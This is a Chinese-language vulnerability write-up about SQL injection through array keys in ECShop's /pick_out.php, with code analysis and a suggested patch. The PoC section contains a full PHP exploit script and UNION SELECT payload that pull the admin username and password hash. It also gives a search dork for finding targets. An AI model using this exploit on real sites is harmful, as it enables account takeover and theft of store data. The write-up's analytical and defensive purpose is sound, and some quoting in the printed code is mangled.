ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出key键注入

Relevant Link:

http://bbs.ecshop.com/thread-150545-1-1.html


2. 漏洞触发条件

1. /pick_out.php漏洞未修复
2. magic_quotes_gpc = Off

0x1: POC

#!/usr/bin/php 
复制代码

<?php 
    //本程序只作技术交流,请不要用做非法用途!! 
    print_r( 
    +---------------------------------------------------------------------------+ 
    ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit 
    dork: "owered by ECShop" 
    +---------------------------------------------------------------------------+ 
    ); 
    /** 
    * works with magic_quotes_gpc = Off 
    */ 
    if ($argc < 3) 
    { 
        print_r( 
        +---------------------------------------------------------------------------+ 
        Usage: php .$argv[0]. host path 
        host:      target server (ip/hostname) 
        path:      path to ecshop 
        Example: 
        php .$argv[0]. localhost /ecshop/ 
        +---------------------------------------------------------------------------+ 
        ); 
        exit; 
    } 
    error_reporting(7); 
    ini_set(max_execution_time, 0); 
    $host = $argv[1]; 
    $path = $argv[2]; 
    $resp = send(); 
    preg_match(#IN\s\(([\S]+)[a-z0-9]{32})\)#, $resp, $hash); 
    if ($hash) 
    exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n"); 
    else 
    exit("Exploit Failed!\n"); 
    function send() 
    { 
        global $host, $path; 
        $cmd = cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat; 
        $data = "GET ".$path."pick_out.php?".$cmd."  HTTP/1.1\r\n"; 
        $data .= "Host: $host\r\n"; 
        $data .= "Connection: Close\r\n\r\n"; 
        $fp = fsockopen($host, 80); 
        fputs($fp, $data); 
        $resp = ‘‘; 
        while ($fp && !feof($fp)) 
            $resp .= fread($fp, 1024); 
        return $resp; 
    } 
?>


3. 漏洞影响范围
4. 漏洞代码分析

/pick_out.php

..
/* 处理属性,获取满足属性的goods_id */
if (!empty($_GET[attr]))
{
    $attr_table = ‘‘;
    $attr_where = ‘‘;
    $attr_url   = ‘‘;
    $i = 0;
    $goods_result = ‘‘;
    foreach ($_GET[attr] AS $key => $value)
    {
        $attr_url .= &attr[ . $key . ]= . $value; 
        $attr_picks[] = $key;
        if ($i > 0)
        {
            if (empty($goods_result))
            {
                break;
            }
            // 利用key进行注射
            $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(, , $goods_result) . ") AND attr_id=‘$key‘ AND attr_value=‘$value‘");
        }
        else
        {
            $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE attr_id=‘$key‘ AND attr_value=‘$value‘");
        }
        $i++;
    }
    ..


5. 防御方法

/pick_out.php

define(IN_ECS, true);

require(dirname(__FILE__) . /includes/init.php);

$condition = array();
$picks = array();
$cat_id = !empty($_GET[cat_id]) ? intval($_GET[cat_id]) : 0;
/* */
if (!empty($_GET[attr]))
{
    //对输入数组进行键值(key、value)规范化处理
    foreach($_GET[attr] as $key => $value)
    {
        if (!is_numeric($key))
        {
            unset($_GET[attr][$key]);
            continue;
        }
        $key = intval($key);
        $_GET[attr][$key] = htmlspecialchars($value);
    }
}
/* */

Relevant Link:

http://bbs.ecshop.com/thread-86922-1-1.html


6. 攻防思考

GPC自动注册是PHP提供的原生机制,很多CMS为了保证"无视用户自身设置",在全局入口代码中采用了"自动模拟GPC注册"的机制,类似于
/*
foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request)
{
    foreach($$_request as $_k => $_v) 
        ${$_k} = $_v;
}
*/

但是,在进行模拟GPC本地变量注册的时候,一定要保持安全性的一致性,即要同时模拟执行"magic_quotes_gpc = On"机制,即需要对传入数据的进行[key:value]转义过滤,例如

function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

foreach(Array(_GET,_POST,_COOKIE) as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

 

Copyright (c) 2015 LittleHann All rights reserved

 

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。